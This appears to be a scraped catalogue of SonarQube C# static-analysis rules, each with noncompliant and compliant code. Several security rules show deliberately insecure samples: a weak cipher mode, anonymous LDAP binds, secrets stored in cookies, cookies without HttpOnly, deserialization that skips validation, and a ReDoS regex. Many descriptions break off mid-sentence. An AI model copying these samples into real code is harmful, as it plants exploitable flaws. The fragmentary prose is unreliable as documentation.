While the properties of a If the member could be either a Noncompliant Code Exampleinterface IPoint { int X { get; set; } int Y { get; set; } } class PointManager<T> where T: IPoint { readonly T point; // this could be a struct public PointManager(T point) { this.point = point; } public void MovePointVertically(int newX) { point.X = newX; //Noncompliant; if point is a struct, then nothing happened Console.WriteLine(point.X); } } Compliant Solutioninterface IPoint { int X { get; set; } int Y { get; set; } } class PointManager<T> where T : IPoint { readonly T point; // this could be a struct public PointManager(T point) { this.point = point; } public void MovePointVertically(int newX) // assignment has been removed { Console.WriteLine(point.X); } } or interface IPoint { int X { get; set; } int Y { get; set; } } class PointManager<T> where T : class, IPoint { readonly T point; // this can only be a class public PointManager(T point) { this.point = point; } public void MovePointVertically(int newX) { point.X = newX; // this assignment is guaranteed to work Console.WriteLine(point.X); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2933 |
Noncompliant Code Examplepublic class Person { private int _birthYear; // Noncompliant Person(int birthYear) { _birthYear = birthYear; } } Compliant Solutionpublic class Person { private readonly int _birthYear; Person(int birthYear) { _birthYear = birthYear; } } Exceptions* Fields with attributes are ignored. * Fields of type See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3904 |
If no Noncompliant Code Exampleusing System; using System.Reflection; [assembly: AssemblyTitle("MyAssembly")] // Noncompliant namespace MyLibrary { } Compliant Solutionusing System; using System.Reflection; [assembly: AssemblyTitle("MyAssembly")] [assembly: AssemblyVersion("1.2.125.0")] namespace MyLibrary { } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3903 |
Types are declared in namespaces in order to prevent name collisions and as a way to organize them into the object hierarchy. Types that are defined outside any named namespace are in a global namespace that cannot be referenced in code. Noncompliant Code Examplepublic class Foo // Noncompliant { } public struct Bar // Noncompliant { } Compliant Solutionnamespace SomeSpace { public class Foo { } public struct Bar { } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3906 |
Delegate event handlers (i.e. delegates used as type of an event) should have a very specific signature:
This rule raises an issue whenever a Noncompliant Code Examplepublic delegate void AlarmEventHandler(object s); public class Foo { public event AlarmEventHandler AlarmEvent; // Noncompliant } Compliant Solutionpublic delegate void AlarmEventHandler(object sender, AlarmEventArgs e); public class Foo { public event AlarmEventHandler AlarmEvent; // Compliant } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1848 |
There is no good reason to create a new object to not do anything with it. Most of the time, this is due to a missing piece of code and so could lead to an unexpected behavior in production. If it was done on purpose because the constructor has side-effects, then that side-effect code should be moved into a separate, static method and called directly. Noncompliant Code Exampleif (x < 0) new ArgumentException("x must be nonnegative"); Compliant Solutionif (x < 0) throw new ArgumentException("x must be nonnegative"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1607 |
When a test fails due, for example, to infrastructure issues, you might want to ignore it temporarily. But without some kind of notation about why the test is being ignored, it may never be reactivated. Such tests are difficult to address without comprehensive knowledge of the project, and end up polluting their projects. This rule raises an issue for each ignored test that does not have a Noncompliant Code Example[TestMethod] [Ignore] // Noncompliant public void Test_DoTheThing() { // ... } Compliant Solution[TestMethod] [Ignore] // renable when TCKT-1234 is fixed public void Test_DoTheThing() { // ... } or [TestMethod] [Ignore] [WorkItem(1234)] public void Test_DoTheThing() { // ... } ExceptionsThe rule doesn't raise an issue if: - the test method is also marked with - there is a comment on the right side of the |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4432 |
Encryption algorithms can be used with various modes. Some combinations are not secured:
In both cases, Galois/Counter Mode (GCM) with no padding should be preferred. As the .NET framework doesn't provide this natively, the use of a certified third party lib is recommended. This rule raises an issue when any of the following CipherMode is detected: ECB, CBC, OFB, CFB, CTS. Noncompliant Code ExampleAesManaged aes = new AesManaged { KeySize = 128, BlockSize = 128, Mode = CipherMode.OFB, // Noncompliant Padding = PaddingMode.PKCS7 }; See
DeprecatedThis rule is deprecated; use S5542 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1163 |
Throwing an exception from within a finally block will mask any exception which was previously thrown in the Noncompliant Code Exampletry { /* some work which end up throwing an exception */ throw new ArgumentException(); } finally { /* clean up */ throw new InvalidOperationException(); // Noncompliant; will mask the ArgumentException } Compliant Solutiontry { /* some work which end up throwing an exception */ throw new ArgumentException(); } finally { /* clean up */ // Compliant } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2252 |
If a Noncompliant Code Examplefor (int i = 10; i < 10; i++) // Noncompliant { // ... } Compliant Solutionfor (int i = 0; i < 10; i++) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3220 |
The rules for method resolution are complex and perhaps not properly understood by all coders. The This rule raises an issue when an invocation resolves to a method declaration with Noncompliant Code Examplepublic class MyClass { private void Format(string a, params object[] b) { } private void Format(object a, object b, object c) { } } // ... MyClass myClass = new MyClass(); myClass.Format("", null, null); // Noncompliant, resolves to the first Format with params, but was that intended? |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4433 |
An LDAP client authenticates to an LDAP server with a "bind request" which provides, among other, a simple authentication method. Simple authentication in LDAP can be used with three different mechanisms:
Anonymous binds and unauthenticated binds allow access to information in the LDAP directory without providing a password, their use is therefore strongly discouraged. Noncompliant Code ExampleThis rule raises an issue when an LDAP connection is created with DirectoryEntry myDirectoryEntry = new DirectoryEntry(adPath); myDirectoryEntry.AuthenticationType = AuthenticationTypes.None; // Noncompliant DirectoryEntry myDirectoryEntry = new DirectoryEntry(adPath, "u", "p", AuthenticationTypes.None); // Noncompliant Compliant SolutionDirectoryEntry myDirectoryEntry = new DirectoryEntry(myADSPath); // Compliant; default DirectoryEntry.AuthenticationType property value is "Secure" since .NET Framework 2.0 DirectoryEntry myDirectoryEntry = new DirectoryEntry(myADSPath, "u", "p", AuthenticationTypes.Secure); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2255 |
Using cookies is security-sensitive. It has led in the past to the following vulnerabilities: Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed. This rule flags code that writes cookies. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesCookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session. Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed. Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies. As a side note, every information read from a cookie should be Sanitized. Sensitive Code Example// === .Net Framework === HttpCookie myCookie = new HttpCookie("UserSettings"); myCookie["CreditCardNumber"] = "1234 1234 1234 1234"; // Sensitive; sensitive data stored myCookie.Values["password"] = "5678"; // Sensitive myCookie.Value = "mysecret"; // Sensitive ... Response.Cookies.Add(myCookie); // === .Net Core === Response.Headers.Add("Set-Cookie", ...); // Sensitive Response.Cookies.Append("mykey", "myValue"); // Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2376 |
Properties with only setters are confusing and counterintuitive. Instead, a property getter should be added if possible, or the property should be replaced with a setter method. Noncompliant Code Exampleclass Program { public int Foo //Non-Compliant { set { // ... some code ... } } } Compliant Solutionclass Program { private int foo; public void SetFoo(int value) { // ... some code ... foo = value; } } or class Program { public int Foo { get; set; } // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3343 |
Caller information attributes ( Noncompliant Code Examplevoid TraceMessage([CallerMemberName] string memberName = "", [CallerFilePath] string filePath = "", [CallerLineNumber] int lineNumber = 0, string message = null) // Noncompliant { /* ... */ } Compliant Solutionvoid TraceMessage(string message = null, [CallerMemberName] string memberName = "", [CallerFilePath] string filePath = "", [CallerLineNumber] int lineNumber = 0) { /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3464 |
Recursion is acceptable in methods, where you can break out of it. But with class types, you end up with code that will compile but not run if you try to instantiate the class. Noncompliant Code Exampleclass C1<T> { } class C2<T> : C1<C2<C2<T>>> // Noncompliant { } ... var c2 = new C2<int>(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3346 |
An assertion is a piece of code that's used during development when the compilation debug mode is activated. It allows a program to check itself as it runs. When an assertion is true, that means everything is operating as expected. In non-debug mode, all The rule will raise if the method name starts with any of the following Noncompliant Code ExampleDebug.Assert(list.Remove("dog")); Compliant Solutionbool result = list.Remove("dog"); Debug.Assert(result); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3466 |
Generally, writing the least code that will readably do the job is a good thing, so omitting default parameter values seems to make sense.
Unfortunately, when you omit them from the Noncompliant Code Examplepublic class BaseClass { public virtual void MyMethod(int i = 1) { Console.WriteLine(i); } } public class DerivedClass : BaseClass { public override void MyMethod(int i = 1) { // ... base.MyMethod(); // Noncompliant; caller's value is ignored } static int Main(string[] args) { DerivedClass dc = new DerivedClass(); dc.MyMethod(12); // prints 1 } } Compliant Solutionpublic class BaseClass { public virtual void MyMethod(int i = 1) { Console.WriteLine(i); } } public class DerivedClass : BaseClass { public override void MyMethod(int i = 1) { // ... base.MyMethod(i); } static int Main(string[] args) { DerivedClass dc = new DerivedClass(); dc.MyMethod(12); // prints 12 } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1168 |
Returning Moreover, in many cases, Noncompliant Code Examplepublic Result[] GetResults() { return null; // Noncompliant } public IEnumerable<Result> GetResults() { return null; // Noncompliant } public IEnumerable<Result> GetResults() => null; // Noncompliant public IEnumerable<Result> Results { get { return null; // Noncompliant } } public IEnumerable<Result> Results => null; // Noncompliant Compliant Solutionpublic Result[] GetResults() { return new Result[0]; } public IEnumerable<Result> GetResults() { return Enumerable.Empty<Result>(); } public IEnumerable<Result> GetResults() => Enumerable.Empty<Result>(); public IEnumerable<Result> Results { get { return Enumerable.Empty<Result>(); } } public IEnumerable<Result> Results => Enumerable.Empty<Result>(); ExceptionsAlthough See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2259 |
A reference to Noncompliant Code Exampleobject o = null; if (condition) { M1(o.ToString()); // Noncompliant, always null } else { o = new object(); } M2(o.ToString()); ExceptionsCalls to extension methods are not reported because they can still operate on To create a custom null validation method declare an attribute with name using System; public sealed class ValidatedNotNullAttribute : Attribute { } public static class Guard { public static void NotNull<T>([ValidatedNotNull] this T value, string name) where T : class { if (value == null) throw new ArgumentNullException(name); } } public static class Utils { public static string ToUpper(string value) { Guard.NotNull(value, nameof(value)); if (value == null) { return value.ToString(); // Compliant, this code is not reachable } return value.ToUpper(); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2930 |
When writing managed code, you don't need to worry about allocating or freeing memory: The garbage collector takes care of it. For efficiency
reasons, some objects such as Moreover, memory is not the only system resource which needs to be managed in a timely fashion: The operating system can only handle having so many
file descriptors (e.g. This rule tracks
which are either instantiated directly using the
on both private fields and local variables. Noncompliant Code Examplepublic class ResourceHolder { private FileStream fs; // Noncompliant; Dispose or Close are never called public void OpenResource(string path) { this.fs = new FileStream(path, FileMode.Open); } public void WriteToFile(string path, string text) { var fs = new FileStream(path, FileMode.Open); // Noncompliant var bytes = Encoding.UTF8.GetBytes(text); fs.Write(bytes, 0, bytes.Length); } } Compliant Solutionpublic class ResourceHolder : IDisposable { private FileStream fs; public void OpenResource(string path) { this.fs = new FileStream(path, FileMode.Open); } public void Dispose() { this.fs.Dispose(); } public void WriteToFile(string path, string text) { using (var fs = new FileStream(path, FileMode.Open)) { var bytes = Encoding.UTF8.GetBytes(text); fs.Write(bytes, 0, bytes.Length); } } } Exceptions
public Stream WriteToFile(string path, string text) { var fs = new FileStream(path, FileMode.Open); // Compliant, because it is returned var bytes = Encoding.UTF8.GetBytes(text); fs.Write(bytes, 0, bytes.Length); return fs; } public void ReadFromStream(Stream s) { var sr = new StreamReader(s); // Compliant as it would close the underlying stream. // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1048 |
If Finalize or an override of Finalize throws an exception, and the runtime is not hosted by an application that overrides the default policy, the runtime terminates the process immediately without graceful cleanup (finally blocks and finalizers are not executed). This behavior ensures process integrity if the finalizer cannot free or destroy resources. The rule reports on throw statements used in finalizers. Noncompliant Code Exampleclass MyClass { ~MyClass() { throw new NotImplementedException(); // Noncompliant } } Compliant Solutionclass MyClass { ~MyClass() { // no throw } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S5766 |
Deserialization process extracts data from the serialized representation of an object and reconstruct it directly, without calling constructors. Thus, data validation implemented in constructors can be bypassed if serialized objects are controlled by an attacker. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleWhen a [Serializable] public class InternalUrl { private string url; public InternalUrl(string tmpUrl) // Sensitive { if(!tmpUrl.StartsWith("http://localhost/")) // there is some input validation { url= "http://localhost/default"; } else { url= tmpUrl; } } } When a class inherit from ISerializable type, has a regular constructor using its parameters in conditions, but doesn't perform the same validation after deserialization: [Serializable] public class InternalUrl : ISerializable { private string url; public InternalUrl(string tmpUrl) // Sensitive { if(!tmpUrl.StartsWith("http://localhost/")) // there is some input validation { url= "http://localhost/default"; } else { url= tmpUrl; } } // special constructor used during deserialization protected InternalUrl(SerializationInfo info, StreamingContext context) // Sensitive { url= (string) info.GetValue("url", typeof(string)); // the same validation as seen in the regular constructor is not performed } void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) { info.AddValue("url", url); } } When a class inherit from IDeserializationCallback
type, has a constructor using its parameters in conditions but the [Serializable] public class InternalUrl : IDeserializationCallback { private string url; public InternalUrl(string tmpUrl) // Sensitive { if(!tmpUrl.StartsWith("http://localhost/")) // there is some input validation { url= "http://localhost/default"; } else { url= tmpUrl; } } void IDeserializationCallback.OnDeserialization(object sender) // Sensitive { // the same validation as seen in the constructor is not performed } } Compliant SolutionWhen using ISerializable
type to control deserialization, perform the same checks inside regular constructors than in the special constructor [Serializable] public class InternalUrl : ISerializable { private string url; public InternalUrl(string tmpUrl) { if(!tmpUrl.StartsWith("http://localhost/")) // there is some input validation { url= "http://localhost/default"; } else { url= tmpUrl; } } // special constructor used during deserialization protected InternalUrl(SerializationInfo info, StreamingContext context) { string tmpUrl= (string) info.GetValue("url", typeof(string)); if(!tmpUrl.StartsWith("http://localhost/") { // Compliant url= "http://localhost/default"; } else { url= tmpUrl; } } void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) { info.AddValue("url", url); } } When using IDeserializationCallback
type to control deserialization, perform the same checks inside regular constructors than after deserialization with
[Serializable] public class InternalUrl : IDeserializationCallback { private string url; public InternalUrl(string tmpUrl) { if(!tmpUrl.StartsWith("http://localhost/")) // there is some input validation { url= "http://localhost/default"; } else { url= tmpUrl; } } void IDeserializationCallback.OnDeserialization(object sender) // Compliant { if(!url.StartsWith("http://localhost/")) { url= "http://localhost/default"; } else { } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S126 |
This rule applies whenever an The requirement for a final The Noncompliant Code Exampleif (x == 0) { DoSomething(); } else if (x == 1) { DoSomethingElse(); } Compliant Solutionif (x == 0) { DoSomething(); } else if (x == 1) { DoSomethingElse(); } else { throw new InvalidOperationException(); } ExceptionsNone See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S127 |
A Stop conditions that are not invariant are slightly less efficient, as well as being difficult to understand and maintain, and likely lead to the introduction of errors in the future. This rule tracks three types of non-invariant stop conditions:
Noncompliant Code Exampleclass Foo { static void Main() { for (int i = 1; i <= 5; i++) { Console.WriteLine(i); if (condition) { i = 20; } } } } Compliant Solutionclass Foo { static void Main() { for (int i = 1; i <= 5; i++) { Console.WriteLine(i); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3450 |
There is no point in providing a default value for a parameter if callers are required to provide a value for it anyway. Thus,
Noncompliant Code Examplepublic void MyMethod([DefaultParameterValue(5)] int j) //Noncompliant, useless { Console.WriteLine(j); } Compliant Solutionpublic void MyMethod(int j = 5) { Console.WriteLine(j); } or public void MyMethod([DefaultParameterValue(5)][Optional] int j) { Console.WriteLine(j); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S125 |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2360 |
The overloading mechanism should be used in place of optional parameters for several reasons:
Noncompliant Code Examplevoid Notify(string company, string office = "QJZ") // Noncompliant { } Compliant Solutionvoid Notify(string company) { Notify(company, "QJZ"); } void Notify(string company, string office) { } ExceptionsThe rule ignores non externally visible methods. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1151 |
The Noncompliant Code ExampleWith the default threshold of 3: switch (myVariable) { case 0: // Noncompliant: 5 statements in the case methodCall1(""); methodCall2(""); methodCall3(""); methodCall4(""); break; case 1: ... } Compliant Solutionswitch (myVariable) { case 0: DoSomething() break; case 1: ... } ... private void DoSomething() { methodCall1(""); methodCall2(""); methodCall3(""); methodCall4(""); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S927 |
The name of a parameter in an externally visible method override does not match the name of the parameter in the base declaration of the method, or
the name of the parameter in the interface declaration of the method or the name of any other Noncompliant Code Examplepartial class Point { partial void MoveVertically(int z); } partial class Point { int x = 0; int y = 0; int z = 0; partial void MoveVertically(int y) // Noncompliant { this.y = y; } } interface IFoo { void Bar(int i); } class Foo : IFoo { void Bar(int z) // Noncompliant, parameter name should be i { } } Compliant Solutionpartial class Point { partial void MoveVertically(int z); } partial class Point { int x = 0; int y = 0; int z = 0; partial void MoveVertically(int z) { this.z = z; } } interface IFoo { void Bar(int i); } class Foo : IFoo { void Bar(int i) { } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3218 |
It's possible to name the members of an inner class the same as the Noncompliant Code Exampleclass Outer { public static int A; public class Inner { public int A; //Noncompliant public int MyProp { get { return A; } // Returns inner A. Was that intended? } } } After a rename class Outer { public static int A; public class Inner { public int B; public int MyProp { get { return A; } // Still compiles and runs but functionality has changed } } } Compliant Solutionclass Outer { public static int A; public class Inner { public int InnerA; public int MyProp { get { return InnerA; } } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3217 |
The C# code iterating on generic collections or arrays should not rely on Noncompliant Code Examplepublic class Fruit { } public class Orange : Fruit { } public class Apple : Fruit { } class MyTest { public void Test() { var fruitBasket = new List<Fruit>(); fruitBasket.Add(new Orange()); fruitBasket.Add(new Orange()); // fruitBasket.Add(new Apple()); // uncommenting this line will make both foreach below throw an InvalidCastException foreach (Fruit fruit in fruitBasket) { var orange = (Orange)fruit; // This "explicit" conversion is hidden within the foreach loop below ... } foreach (Orange orange in fruitBasket) // Noncompliant { ... } } } Compliant Solutionvar fruitBasket = new List<Orange>(); fruitBasket.Add(new Orange()); fruitBasket.Add(new Orange()); // fruitBasket.Add(new Apple()); // uncommenting this line won't compile foreach (Orange orange in fruitBasket) { ... } or var fruitBasket = new List<Fruit>(); fruitBasket.Add(new Orange()); fruitBasket.Add(new Orange()); fruitBasket.Add(new Apple()); foreach (Orange orange in fruitBasket.OfType<Orange>()) { ... } ExceptionsThe rule ignores iterations on collections of |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3459 |
Fields and auto-properties that are never assigned to hold the default values for their types. They are either pointless code or, more likely, mistakes. Noncompliant Code Exampleclass MyClass { private int field; // Noncompliant, shouldn't it be initialized? This way the value is always default(int), 0. private int Property { get; set; } // Noncompliant public void Print() { Console.WriteLine(field); //Will always print 0 Console.WriteLine(Property); //Will always print 0 } } Compliant Solutionclass MyClass { private int field = 1; private int Property { get; set; } = 42; public void Print() { field++; Console.WriteLine(field); Console.WriteLine(Property); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4428 |
The This rule raises an issue when a class is marked as shared with a Noncompliant Code Example[PartCreationPolicy(CreationPolicy.Any)] // Noncompliant public class FooBar : IFooBar { } Compliant Solution[Export(typeof(IFooBar))] [PartCreationPolicy(CreationPolicy.Any)] public class FooBar : IFooBar { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4784 |
Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities: Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as
Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users. This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following
characters: Example: Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesCheck whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using. If the regular expression is vulnerable to ReDos attacks, mitigate the risk by using a "match timeout" to limit the time spent running the regular expression. Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection. Sensitive Code Exampleusing System; using System.Collections.Generic; using System.Linq; using System.Runtime.Serialization; using System.Text.RegularExpressions; using System.Web; namespace N { public class RegularExpression { void Foo(RegexOptions options, TimeSpan matchTimeout, string input, string replacement, MatchEvaluator evaluator) { // All the following instantiations are Sensitive. new System.Text.RegularExpressions.Regex("(a+)+"); new System.Text.RegularExpressions.Regex("(a+)+", options); new System.Text.RegularExpressions.Regex("(a+)+", options, matchTimeout); // All the following static methods are Sensitive. System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+"); System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+", options); System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+", options, matchTimeout); System.Text.RegularExpressions.Regex.Match(input, "(a+)+"); System.Text.RegularExpressions.Regex.Match(input, "(a+)+", options); System.Text.RegularExpressions.Regex.Match(input, "(a+)+", options, matchTimeout); System.Text.RegularExpressions.Regex.Matches(input, "(a+)+"); System.Text.RegularExpressions.Regex.Matches(input, "(a+)+", options); System.Text.RegularExpressions.Regex.Matches(input, "(a+)+", options, matchTimeout); System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", evaluator); System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", evaluator, options); System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", evaluator, options, matchTimeout); System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", replacement); System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", replacement, options); System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", replacement, options, matchTimeout); System.Text.RegularExpressions.Regex.Split(input, "(a+)+"); System.Text.RegularExpressions.Regex.Split(input, "(a+)+", options); System.Text.RegularExpressions.Regex.Split(input, "(a+)+", options, matchTimeout); } } } ExceptionsSome corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: It is a good idea to test your regular expression if it has the same pattern on both side of a " See
DeprecatedThis rule is deprecated; use S2631 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3330 |
When a cookie is configured with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleFor example In C# you can specify the HttpOnly flag for HttpCookie object. HttpCookie myCookie = new HttpCookie("Sensitive cookie"); myCookie.HttpOnly = false; // Sensitive: this sensitive cookie is created with the httponly flag set to false and so it can be stolen easily in case of XSS vulnerability The default value of
HttpCookie myCookie = new HttpCookie("Sensitive cookie"); // Sensitive: this sensitive cookie is created with the httponly flag not defined (by default set to false) and so it can be stolen easily in case of XSS vulnerability Compliant SolutionHttpCookie myCookie = new HttpCookie("Sensitive cookie"); myCookie.HttpOnly = true; // Compliant: the sensitive cookie is protected against theft thanks to the HttpOnly property set to true (HttpOnly = true) See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3693 |
It may be a good idea to raise an exception in a constructor if you're unable to fully flesh the object in question, but not in an
Noncompliant Code Exampleclass MyException: Exception { public void MyException() { if (bad_thing) { throw new Exception("A bad thing happened"); // Noncompliant } } } DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S134 |
Nested Such code is hard to read, refactor and therefore maintain. Noncompliant Code ExampleWith the default threshold of 3: if (condition1) // Compliant - depth = 1 { /* ... */ if (condition2) // Compliant - depth = 2 { /* ... */ for(int i = 0; i < 10; i++) // Compliant - depth = 3, not exceeding the limit { /* ... */ if (condition4) // Noncompliant - depth = 4 { if (condition5) // Depth = 5, exceeding the limit, but issues are only reported on depth = 4 { /* ... */ } return; } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3451 |
The use of Noncompliant Code Exampleclass MyClass { public void DoStuff([Optional][DefaultValue(4)]int i, int j = 5) // Noncompliant { Console.WriteLine(i); } public static void Main() { new MyClass().DoStuff(); // prints 0 } } Compliant Solutionclass MyClass { public void DoStuff([Optional][DefaultParameterValue(4)]int i, int j = 5) { Console.WriteLine(i); } public static void Main() { new MyClass().DoStuff(); // prints 4 } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2486 |
When exceptions occur, it is usually a bad idea to simply ignore them. Instead, it is better to handle them properly, or at least to log them. This rule only reports on empty catch clauses that catch generic Noncompliant Code Examplestring text = ""; try { text = File.ReadAllText(fileName); } catch (Exception exc) // Noncompliant { } Compliant Solutionstring text = ""; try { text = File.ReadAllText(fileName); } catch (Exception exc) { logger.Log(exc); } ExceptionsWhen a block contains a comment, it is not considered to be empty. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2365 |
